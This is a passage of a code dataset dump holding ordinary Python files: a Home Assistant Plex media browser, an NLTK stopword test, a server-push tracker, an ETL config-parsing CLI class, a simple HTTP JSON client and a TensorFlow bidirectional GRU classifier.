json.loads(expected_json)\n\n\n","sub_path":"chapter_2/rentomatic/tests/serializers/test_room_json-serializer.py","file_name":"test_room_json-serializer.py","file_ext":"py","file_size_in_byte":569,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"180070489","text":"\"\"\"Support to interface with the Plex API.\"\"\"\nimport logging\n\nfrom homeassistant.components.media_player import BrowseMedia\nfrom homeassistant.components.media_player.errors import BrowseError\n\nfrom .const import DOMAIN\n\nEXPANDABLES = [\"album\", \"artist\", \"playlist\", \"season\", \"show\"]\nPLAYLISTS_BROWSE_PAYLOAD = {\n \"title\": \"Playlists\",\n \"media_content_id\": \"all\",\n \"media_content_type\": \"playlists\",\n \"can_play\": False,\n \"can_expand\": True,\n}\nSPECIAL_METHODS = {\n \"On Deck\": \"onDeck\",\n \"Recently Added\": \"recentlyAdded\",\n}\n\n_LOGGER = logging.getLogger(__name__)\n\n\ndef browse_media(\n entity_id, plex_server, media_content_type=None, media_content_id=None\n):\n \"\"\"Implement the websocket media browsing helper.\"\"\"\n\n def build_item_response(payload):\n \"\"\"Create response payload for the provided media query.\"\"\"\n media = plex_server.lookup_media(**payload)\n\n if media is None:\n return None\n\n media_info = item_payload(media)\n if media_info.can_expand:\n media_info.children = []\n for item in media:\n media_info.children.append(item_payload(item))\n return media_info\n\n if media_content_id and \":\" in media_content_id:\n media_content_id, special_folder = media_content_id.split(\":\")\n else:\n special_folder = None\n\n if (\n media_content_type\n and media_content_type == \"server\"\n and media_content_id != plex_server.machine_identifier\n ):\n raise BrowseError(\n f\"Plex server with ID '{media_content_id}' is not associated with {entity_id}\"\n )\n\n if special_folder:\n if media_content_type == \"server\":\n library_or_section = plex_server.library\n title = plex_server.friendly_name\n elif media_content_type == \"library\":\n library_or_section = plex_server.library.sectionByID(media_content_id)\n title = library_or_section.title\n\n payload = {\n \"title\": title,\n \"media_content_id\": f\"{media_content_id}:{special_folder}\",\n \"media_content_type\": media_content_type,\n \"can_play\": False,\n \"can_expand\": True,\n \"children\": [],\n }\n\n method = SPECIAL_METHODS[special_folder]\n items = getattr(library_or_section, method)()\n for item in items:\n payload[\"children\"].append(item_payload(item))\n return BrowseMedia(**payload)\n\n if media_content_type in [\"server\", None]:\n return server_payload(plex_server)\n\n if media_content_type == \"library\":\n return library_payload(plex_server, media_content_id)\n\n if media_content_type == \"playlists\":\n return playlists_payload(plex_server)\n\n payload = {\n \"media_type\": DOMAIN,\n \"plex_key\": int(media_content_id),\n }\n response = build_item_response(payload)\n if response is None:\n raise BrowseError(f\"Media not found: {media_content_type} / {media_content_id}\")\n return response\n\n\ndef item_payload(item):\n \"\"\"Create response payload for a single media item.\"\"\"\n payload = {\n \"title\": item.title,\n \"media_content_id\": str(item.ratingKey),\n \"media_content_type\": item.type,\n \"can_play\": True,\n \"can_expand\": item.type in EXPANDABLES,\n }\n if hasattr(item, \"thumbUrl\"):\n payload[\"thumbnail\"] = item.thumbUrl\n\n return BrowseMedia(**payload)\n\n\ndef library_section_payload(section):\n \"\"\"Create response payload for a single library section.\"\"\"\n return BrowseMedia(\n title=section.title,\n media_content_id=section.key,\n media_content_type=\"library\",\n can_play=False,\n can_expand=True,\n )\n\n\ndef special_library_payload(parent_payload, special_type):\n \"\"\"Create response payload for special library folders.\"\"\"\n title = f\"{special_type} ({parent_payload.title})\"\n return BrowseMedia(\n title=title,\n media_content_id=f\"{parent_payload.media_content_id}:{special_type}\",\n media_content_type=parent_payload.media_content_type,\n can_play=False,\n can_expand=True,\n )\n\n\ndef server_payload(plex_server):\n \"\"\"Create response payload to describe libraries of the Plex server.\"\"\"\n server_info = BrowseMedia(\n title=plex_server.friendly_name,\n media_content_id=plex_server.machine_identifier,\n media_content_type=\"server\",\n can_play=False,\n can_expand=True,\n )\n server_info.children = []\n server_info.children.append(special_library_payload(server_info, \"On Deck\"))\n server_info.children.append(special_library_payload(server_info, \"Recently Added\"))\n for library in plex_server.library.sections():\n if library.type == \"photo\":\n continue\n server_info.children.append(library_section_payload(library))\n server_info.children.append(BrowseMedia(**PLAYLISTS_BROWSE_PAYLOAD))\n return server_info\n\n\ndef library_payload(plex_server, library_id):\n \"\"\"Create response payload to describe contents of a specific library.\"\"\"\n library = plex_server.library.sectionByID(library_id)\n library_info = library_section_payload(library)\n library_info.children = []\n library_info.children.append(special_library_payload(library_info, \"On Deck\"))\n library_info.children.append(\n special_library_payload(library_info, \"Recently Added\")\n )\n for item in library.all():\n library_info.children.append(item_payload(item))\n return library_info\n\n\ndef playlists_payload(plex_server):\n \"\"\"Create response payload for all available playlists.\"\"\"\n playlists_info = {**PLAYLISTS_BROWSE_PAYLOAD, \"children\": []}\n for playlist in plex_server.playlists():\n playlists_info[\"children\"].append(item_payload(playlist))\n return BrowseMedia(**playlists_info)\n","sub_path":"homeassistant/components/plex/media_browser.py","file_name":"media_browser.py","file_ext":"py","file_size_in_byte":5837,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"291147633","text":"from nltk.corpus import stopwords\nimport unittest\n\n\ndef in_stoplist(token):\n stop_words = set(stopwords.words('english'))\n stop_words.update(['.', ',', '\"', \"'\", '?', '!', ':', ';', '(', ')', '[', ']', '{', '}'])\n return token in stop_words\n\nclass UTest(unittest.TestCase):\n def setUp(self):\n self.stop_words = set(stopwords.words('english'))\n self.stop_words.update(['.', ',', '\"', \"'\", '?', '!', ':', ';', '(', ')', '[', ']', '{', '}'])\n\n def test_in(self):\n for tok in self.stop_words:\n self.assertTrue(in_stoplist(tok))\n\n def test_not_in(self):\n for line in open('sentiment.txt'):\n for tok in line.strip().split():\n if tok not in self.stop_words:\n self.assertFalse(in_stoplist(tok))\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"ryosuke/chapter08/knock71.py","file_name":"knock71.py","file_ext":"py","file_size_in_byte":837,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"307354573","text":"# -*- coding: utf-8 -*-\n'''\n Tracker groups connections and events into channels.\n'''\nimport logging\n\nfrom channel import Channel\nfrom events import *\n\nfrom serverpush.active_events import active_events\n\nlogger = logging.getLogger('serverpush')\n\n\nclass Tracker(object):\n\n def generate_id(self):\n ids = 1\n while 1:\n yield ids\n ids += 1\n\n def __init__(self):\n\n # mapa: event -> user_id -> connection\n self.channels = {}\n # mapa: user_id -> lista eventow\n self.users = {}\n\n self.id_gen = self.generate_id()\n #historia\n self.history = {}\n self.shared = {}\n for ev in store_history:\n self.history[ev] = EventHistory(ev, active_events[ev]._event_type)\n\n for ev in active_events:\n self.channels[ev] = Channel(ev, tracker=self,\n history=self.history.get(ev, None))\n\n def connect(self, conn):\n '''\n Nawiazywanie polaczenia, inicjalizujace eventy\n '''\n #jesli uzytkonik zalogowany id -> pk usera\n #if conn.request.user.is_authenticated():\n # conn.id = conn.request.user.pk\n\n conn.id = self.id_gen.next()\n user_id = conn.get_user_id()\n\n logger.debug(\"New connection; user %s; path %s; conn_id %s \" % (user_id,\n conn.request.path_info, conn.id))\n\n if user_id not in self.users:\n self.users[user_id] = {}\n\n #tworzymy kanaly dla wspieranych eventow i doklejamy zdarzenia\n for event in conn.events:\n if active_events.has_key(event):\n #niezalogowani uzytkownicy moga odbierac tylko broadcasty\n if active_events[event].is_init_event():\n Channel.init_event(conn, event, shared=self.shared)\n\n if self.history.has_key(event):\n self.history[event].send_history(conn)\n\n if not (active_events[event].is_broadcast_event() or\n conn.request.user.is_authenticated()):\n continue\n\n #XXX: nadmiarowe, w konstruktorze wszystkie kanaly sa inicjalizowane\n if not self.channels.has_key(event):\n logger.error('Brak kanalu %s, to niepowinno miec miejsca' % event)\n self.channels[event] = Channel(event, tracker=self,\n history=self.history.get(event, None))\n\n if not self.users[user_id].has_key(event):\n self.users[user_id][event] = True\n\n self.channels[event].new_connection(conn)\n\n def disconnect(self, conn):\n '''\n Czyszczenie kolekcji po utracie polaczenia\n '''\n user_id = conn.get_user_id()\n\n if not self.users.has_key(user_id):\n #nie powinno sie zdarzyc, ale 'just in case'\n return\n\n #uwzglednia anonimowe polaczenia\n #XXX: moze sprawdzac czy mapowanie istnieje,\n #teoretycznie wieksza szansa ze beda nadmiarowe dane, niz ich nie bedzie\n for event in self.users[user_id].keys():\n try:\n del self.channels[event].connections[user_id][conn.id]\n logger.debug(\"Disconnect: user %s; conn_id %s; event %s\" % (\n user_id, conn.id, event\n ))\n if not self.channels[event].connections[user_id]:\n del self.channels[event].connections[user_id]\n except AttributeError:\n continue\n except KeyError:\n continue\n\n # Caled by notify.py as a callback via server.py on a new event\n # notifies other connections and returns success status\n def event(self, event, gen_timestamp, user=None, **kwargs):\n '''\n Odpalany przez notifier po otrzymaniu requesta\n '''\n if user:\n user = int(user)\n\n if event == ServerPushEvent.SOCKETIO_LOGOUT:\n self.logout_event(user)\n return\n\n channel = self.channels.get(event, None)\n\n if channel:\n if channel.event.is_broadcast_event():\n channel.broadcast_event(gen_timestamp, **kwargs)\n\n elif channel.event.is_user_event():\n channel.user_event(user, **kwargs)\n\n def logout_event(self, user):\n '''\n Zdarzenie wylogowania -> przeladowuje wszystkie\n strony aktualnie zalogowanego uzytkownika\n '''\n logger.debug(\"Logout: user %s\" % user)\n #wysylamy conajwyzej jeden komunikat do polaczenia\n connections_notified = {}\n if user is not None:\n if not self.users.has_key(user):\n return\n\n for event in self.users[user].keys():\n self.channels[event].logout_event(user, connections_notified)\n\n for con_id, con in connections_notified.items():\n self.disconnect(con)\n","sub_path":"serverpush/tracker.py","file_name":"tracker.py","file_ext":"py","file_size_in_byte":4965,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"411438722","text":"\nimport os, sys, re, time\nimport json, logging\nfrom datetime import datetime\nimport traceback\nimport tempfile\nimport multiprocessing\nfrom pprint import pprint as pp\nfrom include.utils import awscreds \nlog=logging.getLogger('cli')\ne=sys.exit\n\nfrom include.utils import create_reader\n\nfrom include.utils import ctimeit, clierr\ntry:\n\timport cStringIO\nexcept ImportError:\n\timport io as cStringIO\n\n\nif sys.version_info[0] >= 3:\n\tunicode=bytes\n\nclass Cli(object):\n\t#@ctimeit\n\tdef __init__(self,*args,**kwargs):\n\t\tself.cli_kwargs=kwargs\n\t\tself.dcf = kwargs.get('db_config_file', None)\n\t\tself.pcf = kwargs.get('proc_config_file', None)\n\t\tself.rte = kwargs.get('runtime_environment', None)\t\n\t\tself.pa = list(kwargs.get('proc_params', None)\t)\n\t\tself.mf = kwargs.get('mock_file', None)\n\t\tself.dump = kwargs.get('dump', None)\n\t\tself.lame_duck = kwargs.get('lame_duck', None)\n\t\tself.dd\t = kwargs.get('dump_dir', None)\n\t\tself.sr\t = kwargs.get('skip_rows', None)\n\t\tself.dop = kwargs.get('degree_of_parallelism', None)\n\t\tself.skew_pct = kwargs.get('skew_pct', None)\n\t\tself.asod= time.strftime(\"%Y-%m-%d %H:%M:%S\") \n\t\tself.csep= b'^'\n\t\tself._source=self._src_class=self._trg_class=self._dmp_class=None\n\t\tassert self.dop< multiprocessing.cpu_count() * 4\n\t\tif 0:\n\t\t\tself.aws_keys=self.get_aws_keys()\n\t\tif 1:\n\t\t\ttemp_name = next(tempfile._get_candidate_names())\n\t\t\tself.tss=datetime.now().strftime('%Y%m%d_%H%M%S')\n\t\t\tself.filter='%s.%s' % (temp_name,self.tss)\n\t\tassert self.dcf, 'Provide db config file name [-dcf]'\n\t\tassert self.dcf, 'Provide proc config file name [-pcf]'\n\t\tself.cfg=self.scfg=self.tcfg=self.dcfg=self.s3cfg=None\n\t\tself.db_config()\n\t\tself.proc_config()\n\t\tif 0:\n\t\t\tself.apx_cmap,self.apx=self.get_appendix()\n\t\telse:\n\t\t\tself.apx_cmap,self.apx = None,None\n\t\tself.start_time = time.time()\n\tdef set_source(self, key):\n\t\tself._source=key\n\t\t\n\t@ctimeit\n\tdef get_aws_keys(self):\n\t\tlog.debug('First try to get keys.')\n\t\taws_keys=awscreds.get_aws_keys(max_tries=1)\n\t\tif not aws_keys[0] or not aws_keys[1]:\n\t\t\tlog.debug('Creating keys.')\n\t\t\taws_keys=awscreds.create_aws_keys()\n\t\t\tlog.debug('Second try to get keys after create.')\n\t\t\taws_keys=awscreds.get_aws_keys(max_tries=10)\n\t\tif not aws_keys[0] or not aws_keys[1]:\n\t\t\tlog.error('Cannot get aws keys')\n\t\t\traise Exception(clierr.E_GET_AWS_KEYS_FAILED[0])\n\t\treturn aws_keys\n\t\t\n\t@ctimeit\n\tdef db_config(self):\n\t\tdcf=self.dcf\n\t\tassert os.path.isfile(dcf), 'DB config file does not exists:\\n%s' % dcf\n\t\twith open(dcf, 'r') as f:\n\t\t\ttry:\n\t\t\t\tself.dbcfg = json.loads(f.read())\n\t\t\texcept:\n\t\t\t\terr_log = cStringIO.StringIO()\n\t\t\t\ttraceback.print_exc(file=err_log)\n\t\t\t\terror = err_log.getvalue()\n\t\t\t\tprint ('#' * 80)\n\t\t\t\tprint ('ERROR when parsing DBconfig json file', dcf)\n\t\t\t\tprint ('#' * 80)\n\t\t\t\tprint(error)\n\t\t\t\tprint ('#' * 80)\n\t\t\t\tprint ('#' * 80)\n\t\t\t\te()\n\t\t\n\t\t\t\t\n\t\t\tself.stores = self.dbcfg[\"stores\"]\n\tdef get_alt_cols(self, cfg):\n\t\treturn {c[\"altColName\"]:c[\"columnName\"] for c in cfg[\"columnMappings\"] if c.get(\"altColName\", None)}\n\tdef header_size(self, cfg):\n\t\treturn cfg[\"writeHeader\"]\n\t\t\n\tdef get_load_cols(self, toDB, cfg, data_files):\n\t\tscfg, dir_scfg = cfg \n\t\tacols= self.get_alt_cols(scfg)\n\t\ttcols=toDB.get_cols()\n\t\tfcols_alt=[]\n\t\tfor data_file in data_files.file_names:\n\t\t\tdataFile \t= create_reader(aname = 'File',\tapp_init=app_init, file_name=data_file, scfg=dir_scfg)\n\t\t\tdataFile.describe()\n\t\t\tfcols_alt=[acols.get(x,x) for x in dataFile.get_header(data_file, dir_scfg)]\n\t\t\tassert not set(fcols_alt) -set(tcols), 'File has columns missing in table.'\n\t\t\tassert not set(tcols) -set(fcols_alt), 'Table has columns missing in file.'\n\t\tassert fcols_alt\n\t\treturn fcols_alt\n\n\t\t\t\t\n\tdef get_store_env_refs(self,db):\n\t\t#db=db.split('_')[0]\n\t\t#print db\n\t\tdbenv=self.dbcfg['env'][self.rte][db]\n\t\treturn self.stores[dbenv]['env_refs']\n\tdef get_runtime_env_vars(self):\n\t\treturn self.dbcfg['env'][self.rte]['env_vars']\n\tdef get_appendix(self):\n\t\tscfg, params=self.scfg, self.pa\n\t\tcolumnMappings = scfg[\"columnMappings\"]\n\t\tapx_pmap={map['sourceParam']: re.sub('[\\'\" ]', '', params[map['sourceParamIndex']]) for map in columnMappings if map['value'].encode() == b'Param'}\n\t\tapx_cmap={map['columnName']: re.sub('[\\'\" ]', '', params[map['sourceParamIndex']]) for map in columnMappings if map['value'].encode() == b'Param'}\n\t\tsep=str(self.csep.decode())\n\t\tapx=sep.join([apx_pmap[map['sourceParam']] if map['value'] == 'Param' else self.asod for map in columnMappings \n\t\t\t\t\t\tif map['value'] == 'Param' or (map['value'] == 'Default' and map['valueType'] == 'TimeStamp') ] )\n\n\t\treturn apx_cmap, apx\n\tdef get_appendix2(self):\n\t\tscfg, params=self.scfg, self.pa\n\t\tif self.scfg.get('columnMappings', None):\n\t\t\tcolumnMappings = scfg[\"columnMappings\"]\n\t\t\tapx_pmap={map['sourceParam']: re.sub('[\\'\" ]', '', params[map['sourceParamIndex']]) for map in columnMappings if map['value'].encode() == b'Param'}\n\t\t\tapx_cmap={map['columnName']: re.sub('[\\'\" ]', '', params[map['sourceParamIndex']]) for map in columnMappings if map['value'].encode() == b'Param'}\n\t\t\tsep=str(self.csep.decode())\n\t\t\tapx=sep.join([apx_pmap[map['sourceParam']] if map['value'] == 'Param' else self.asod for map in columnMappings \n\t\t\t\t\t\t\tif map['value'] == 'Param' or (map['value'] == 'Default' and map['valueType'] == 'TimeStamp') ] )\n\t\t\tapx_cols=[map['columnName'] if map['value'] == 'Param' else map['columnName'] for map in columnMappings \n\t\t\t\t\t\t\tif map['value'] == 'Param' or (map['value'] == 'Default' and map['valueType'] == 'TimeStamp') ] \n\t\t\treturn apx_cmap,apx_cols, apx\n\t\telse:\n\t\t\treturn {}, [], None\n\t\t\n\tdef done(self):\n\t\tsec=round((time.time() - self.start_time),2)\n\t\tlog.info('Total elapsed: %s sec/%s min' % (sec, round(sec/60,2)))\n\tdef set_dcfg(self, cname):\n\t\tassert self._source\n\t\tself.dcfg= self.cfg['dump'][self._source][cname]\n\tdef set_tcfg(self, cname):\n\t\tassert self._source\n\t\tself.tcfg= self.cfg['target'][self._source][cname]\n\tdef set_scfg(self, cname):\n\t\tassert self._source\n\t\tself.scfg= self.cfg['source'][self._source][cname]\n\t\t\t\n\tdef get_scfg(self, cname=None):\n\t\tif not cname:\n\t\t\tif self._source:\n\t\t\t\treturn self.cfg['source'][self._source]\n\t\t\telse:\n\t\t\t\treturn self.cfg['source']\t\t\n\t\telse:\n\t\t\tassert cname\n\t\t\tassert self._source\n\t\t\tself._src_class = cname\n\t\t\treturn self.cfg['source'][self._source][self._src_class]\n\n\tdef get_dcfg(self, cname=None):\n\t\tif not cname:\n\t\t\tif self._source:\n\t\t\t\treturn self.cfg['dump'][self._source]\n\t\t\telse:\n\t\t\t\treturn self.cfg['dump']\t\t\n\t\telse:\n\t\t\tassert cname\n\t\t\tassert self._source\n\t\t\tself._dmp_class = cname\n\t\t\treturn self.cfg['dump'][self._source][self._dmp_class]\n\n\tdef get_tcfg(self, cname=None):\n\t\tif not cname:\n\t\t\tif self._source:\n\t\t\t\treturn self.cfg['target'][self._source]\n\t\t\telse:\n\t\t\t\treturn self.cfg['target']\t\t\n\t\telse:\n\t\t\tassert cname\n\t\t\tassert self._source\n\t\t\tself._trg_class = cname\n\t\t\treturn self.cfg['target'][self._source][self._trg_class]\n\t\t\t\n\tdef get_sval(self, key):\n\t\tscfg=self.scfg\n\t\tif self._source:\n\t\t\treturn scfg[self._source][key]\n\t\telse:\n\t\t\tassert key in scfg.keys(), 'Key \"%s\" is not in %s' % (key, scfg.keys())\n\t\t\treturn scfg[key]\n\n\t\t\n\tdef get_cfg(self, key):\n\n\t\tassert self._source\n\t\tclass_map={'source':self._src_class, 'dump': self._dmp_class, 'target': self._trg_class}\n\t\t#for k,v in class_map.items():\n\t\t#\t\tassert v, 'cli.%s config is not set' %k\n\t\t\n\t\tif self._source:\n\t\t\treturn self.cfg[key][self._source][class_map[key]]\n\t\telse:\n\t\t\tassert key in self.cfg.keys(), 'Key \"%s\" is not in %s' % (key, scfg.keys())\n\t\t\treturn self.cfg[key]\n\n\tdef set_target_table(self, tcfg, acct_date, fmt='%Y/%m/%d'):\n\t\t#//set acct_year, acct_mon for new target table naming\n\t\tif 'accountingDate' in tcfg and 'targetTableFmt' in tcfg:\n\t\t\tassert not tcfg[\"targetTable\"], 'If \"targetTable\" is set - you cannot set \"accountingDate\" and \"targetTableFmt\"'\n\t\t\tassert acct_date\n\t\t\tself.acct_year = self.get_acct_year(acct_date, fmt)\n\t\t\tself.acct_mon = self.get_acct_mon(acct_date, fmt) \n\t\t\tassert len(self.acct_year) == 4 \n\t\t\tassert len(self.acct_mon) == 2\n\t\t\ttcfg[\"targetTable\"] = self.get_parsed(ckey='targetTableFmt', cfg=tcfg)\n\t\t\tassert tcfg[\"targetTable\"]\n\t\telse:\n\n\t\t\tassert \"targetTable\" in tcfg\n\t\t\tassert tcfg[\"targetTable\"] , 'If \"targetTable\" is not set - you have to set \"accountingDate\" and \"targetTableFmt\"'\n\t\t\n\n\tdef get_acct_mon(self, acct_date, fmt):\n\t\tassert acct_date\n\t\tdo = datetime.strptime(acct_date, fmt)\n\t\treturn str(do.month).zfill(2)\n\tdef get_acct_year(self, acct_date, fmt):\n\t\tassert acct_date\n\t\tdo = datetime.strptime(acct_date, fmt)\n\t\treturn str(do.year)\n\tdef get_parsed(self, ckey, cfg):\n\t\tcli=self\n\n\t\tassert ckey\n\t\tassert cfg\n\t\tassert ckey in cfg, 'Key \"%s\" is not in cfg [%s]' % (ckey, cfg.keys())\n\t\tval= cfg.get(ckey, None)\n\t\tassert val , 'Key [%s] is not set in %s' % (ckey, cfg)\n\t\tif isinstance (val, (str, unicode)):\n\t\t\treturn val\n\t\telse:\n\t\t\tassert isinstance (val, list), 'Key [%s] value [%s] is not a list.' % (ckey, val)\n\t\t\tstmt, pcnt = val\n\t\t\tpars = re.findall(\"(\\{[0-9a-zA-Z_\\'\\'\\.\\*\\(\\)]+\\})\", stmt)\n\t\t\tfmt={}\n\t\t\tassert len(pars)==pcnt, '[%s]: Number of params in statement (%s) does not match declared params count (%s).' % (ckey, len(pars), pcnt)\n\t\t\tif pars:\n\t\t\t\tfor p in [p.strip('}').strip('{') for p in pars if p not in [ckey]]:\n\t\t\t\t\ttry:\n\t\t\t\t\t\tassert p in cfg \\\n\t\t\t\t\t\tor p.lower().startswith('cli*') \\\n\t\t\t\t\t\tor p.split('*')[0] in cli.cfg \\\n\t\t\t\t\t\tor (p.lower().startswith('optparam_') and p.split('_')[1].isdigit()), \\\n\t\t\t\t\t\t'[%s]: SQL params should be json section keys or opt/proc param ids (optparam_nnn) or column param names (colparam_xxx) or cli atributes (cli*xxx)' % p\n\t\t\t\t\texcept:\n\t\t\t\t\t\tpp(cfg)\n\t\t\t\t\t\tpp(stmt)\n\t\t\t\t\t\tpp(p)\n\t\t\t\t\t\traise\n\t\t\t\t\tif p in cfg: \n\t\t\t\t\t\t\n\t\t\t\t\t\tfmt[p]= self.get_parsed(p, cfg=cfg); continue\n\t\t\t\t\tif p.lower().startswith('optparam_'): fmt[p]= cli.pa[int(p.split('_')[1])]; continue\n\t\t\t\t\tif p.split('*')[0] in cli.cfg:\n\t\t\t\t\t\tcname, key= p.split('*')\n\t\t\t\t\t\tassert cname\n\t\t\t\t\t\tassert key\n\t\t\t\t\t\tfmt[p]=cli.get_cfg(cname)[key]\n\t\t\t\t\t\tassert fmt[p]\n\t\t\t\t\t\tcontinue\n\t\t\t\t\tif p.lower().startswith('cli*'):\n\t\t\t\t\t\tattr=p.split('*')[1]\n\t\t\t\t\t\tif attr.endswith('()'): #it's a method\n\t\t\t\t\t\t\tapi=attr[:-2]\n\t\t\t\t\t\t\tassert hasattr(cli, api), 'Cli has no attribute \"%s\" used in \"%s\":\\n%s' % (api, ckey,stmt)\n\t\t\t\t\t\t\tfmt[p]=eval('self.%s()' % api)\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tassert hasattr(cli, attr), 'Cli has no attribute \"%s\" used in \"%s\":\\n%s' % (attr, ckey,stmt)\n\t\t\t\t\t\t\tfmt[p]=getattr(cli, attr)\n\t\t\t\t\t\tcontinue\n\n\t\t\t\t\n\t\t\t\tstmt = stmt.format(**fmt) \n\t\t\t\t\n\t\t\telse:\n\t\t\t\tpass\n\t\t\t\n\t\t\treturn stmt\n\n","sub_path":"include/cli/common/Cli.py","file_name":"Cli.py","file_ext":"py","file_size_in_byte":10419,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"561659705","text":"import json\nimport urllib.request\nimport urllib.parse\nimport urllib.error\n\n\nclass ServerError(Exception):\n def __init__(self, code=None, msg=None):\n self.code = code\n self.msg = None\n\nclass Server:\n def __init__(self, base_url):\n self.base = base_url\n\n def query(self, url, parameters=None ):\n \"\"\"Charge l'url demandée. Si aucun paramètre n'est spécifié, une requête\n HTTP GET est envoyée. Si des paramètres sont présents, ils sont encodés\n en JSON, et une requête POST est envoyée.\n\n La méthode préconisée pour envoyer des paramètres consiste à les stocker\n dans un dictionnaire. Ceci permet de nommer les champs. Par exemple :\n\n # sans paramètres\n >>> server = Server(\"http://pac.bouillaguet.info/TP1/\")\n >>> response = server.query('client-demo')\n >>> print(response)\n Je n'ai pas reçu de paramètres\n\n # avec paramètres\n >>> parameters = {'login': 'toto', 'id': 1337}\n >>> response = server.query('client-demo', parameters)\n >>> print(response)\n Dans les paramètres j'ai trouvé :\n *) ``login'' : ``toto''\n *) ``id'' : ``1337''\n \n \"\"\"\n url = self.base + url\n try:\n request = urllib.request.Request(url)\n data = None\n if parameters is not None:\n data = json.dumps(parameters).encode()\n request.add_header('Content-type', 'application/json')\n with urllib.request.urlopen(request, data) as connexion:\n result = connexion.read().decode()\n if connexion.info()['Content-Type'] == \"application/json\":\n result = json.loads(result)\n return result\n except urllib.error.HTTPError as e:\n raise ServerError(e.code, e.read().decode()) from None\n\n","sub_path":"Master/S2/PAC_TP3/PS3/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":1967,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"261513229","text":"#!/usr/bin/env python3\nimport numpy as np\nimport tensorflow as tf\nimport sys\nsys.path.append('.')\nfrom utils import dataset as data\n\n\nclass Network:\n def __init__(self, threads, seed=541):\n # Create an empty graph and a session\n graph = tf.Graph()\n graph.seed = seed\n self.session = tf.Session(\n graph=graph,\n config=tf.ConfigProto(\n inter_op_parallelism_threads=threads,\n intra_op_parallelism_threads=threads))\n\n def construct(self, args, num_tokens, num_labels):\n with self.session.graph.as_default():\n # Inputs\n self.tokens_ids = tf.placeholder(\n tf.int32, [None, None], name=\"tokens_ids\")\n self.terms_lens = tf.placeholder(\n tf.int32, [None], name=\"terms_lens\")\n self.labels = tf.placeholder(tf.int32, [None], name=\"labels\")\n\n # Token embeddings\n self.token_embeddings = tf.get_variable(\n \"token_embeddings\",\n shape=[num_tokens, args.embed_dim],\n dtype=tf.float32)\n inputs = tf.nn.embedding_lookup(self.token_embeddings,\n self.tokens_ids)\n\n # Computation\n # rnn_cell = tf.nn.rnn_cell.BasicLSTMCell\n rnn_cell = tf.nn.rnn_cell.GRUCell\n\n with tf.variable_scope('bi_rnn'):\n _, (state_fwd, state_bwd) = \\\n tf.nn.bidirectional_dynamic_rnn(\n rnn_cell(args.rnn_cell_dim),\n rnn_cell(args.rnn_cell_dim),\n inputs,\n sequence_length=self.terms_lens,\n dtype=tf.float32)\n\n state = tf.concat([state_fwd, state_bwd], axis=-1)\n #print('state shape :', state.get_shape())\n layers = [state] # TODO is it OK?\n for _ in range(args.num_dense_layers):\n layers.append(\n tf.layers.dense(layers[-1],\n args.dense_layer_units,\n activation=tf.nn.relu)\n )\n self.logits = tf.layers.dense(layers[-1], num_labels, name='logits')\n self.logits = tf.nn.softmax(self.logits)\n self.logits_0 = self.logits[:0] # TODO nicer\n self.predictions = tf.argmax(self.logits, axis=1, name='predictions')\n #predictions_shape = tf.shape(self.predictions)\n #print('self.predictions shape: ', self.predictions.get_shape())\n\n # Training\n loss = tf.losses.sparse_softmax_cross_entropy(\n self.labels, self.logits)\n global_step = tf.train.create_global_step()\n self.training = tf.train.AdamOptimizer().minimize(\n loss, global_step=global_step, name=\"training\")\n\n # Summaries\n self.current_accuracy, self.update_accuracy = tf.metrics.accuracy(\n self.labels, self.predictions)\n self.current_loss, self.update_loss = tf.metrics.mean(loss)\n self.reset_metrics = tf.variables_initializer(\n tf.get_collection(tf.GraphKeys.METRIC_VARIABLES))\n\n summary_writer = tf.contrib.summary.create_file_writer(\n args.logdir, flush_millis=10 * 1000)\n self.summaries = {}\n with summary_writer.as_default(), \\\n tf.contrib.summary.record_summaries_every_n_global_steps(10):\n self.summaries['train'] = [\n tf.contrib.summary.scalar(\n 'train/loss',\n self.update_loss),\n tf.contrib.summary.scalar(\n 'train/accuracy',\n self.update_accuracy)]\n with summary_writer.as_default(), \\\n tf.contrib.summary.always_record_summaries():\n self.summaries['valid'] = [\n tf.contrib.summary.scalar(\n 'valid/loss',\n self.current_loss),\n tf.contrib.summary.scalar(\n 'valid/accuracy',\n self.current_accuracy)]\n\n # Initialize variables\n self.session.run(tf.global_variables_initializer())\n with summary_writer.as_default():\n tf.contrib.summary.initialize(\n session=self.session, graph=self.session.graph)\n\n # Saver\n tf.add_to_collection('end_points/tokens_ids',\n self.tokens_ids)\n tf.add_to_collection('end_points/terms_lens',\n self.terms_lens)\n tf.add_to_collection('end_points/predictions',\n self.predictions)\n tf.add_to_collection('end_points/logits',\n self.logits)\n\n self.saver = tf.train.Saver()\n\n def save(self, path):\n return self.saver.save(self.session, path)\n\n def train_epoch(self, train_set, batch_size):\n while not train_set.epoch_finished():\n tokens_ids, terms_lens, labels = train_set.next_batch(batch_size)\n self.session.run(self.reset_metrics)\n self.session.run([self.training, self.summaries[\"train\"]],\n {self.terms_lens: terms_lens,\n self.tokens_ids: tokens_ids,\n self.labels: labels})\n\n def train_batch(self, batch):\n tokens_ids, terms_lens, labels = batch\n self.session.run(self.reset_metrics)\n self.session.run([self.training, self.summaries[\"train\"]],\n {self.terms_lens: terms_lens,\n self.tokens_ids: tokens_ids,\n self.labels: labels})\n\n def evaluate(self, dataset_name, dataset, batch_size):\n self.session.run(self.reset_metrics)\n while not dataset.epoch_finished():\n tokens_ids, terms_lens, labels = dataset.next_batch(batch_size)\n self.session.run([self.update_accuracy, self.update_loss],\n {self.terms_lens: terms_lens,\n self.tokens_ids: tokens_ids,\n self.labels: labels})\n return self.session.run(\n [self.current_accuracy, self.summaries[dataset_name]])[0]\n\n def embeddings(self):\n return self.session.run(self.token_embeddings)\n\nclass NetworkPredict:\n def __init__(self, threads=1, seed=541):\n # Create an empty graph and a session\n graph = tf.Graph()\n graph.seed = seed\n self.session = tf.Session(\n graph=graph,\n config=tf.ConfigProto(\n inter_op_parallelism_threads=threads,\n 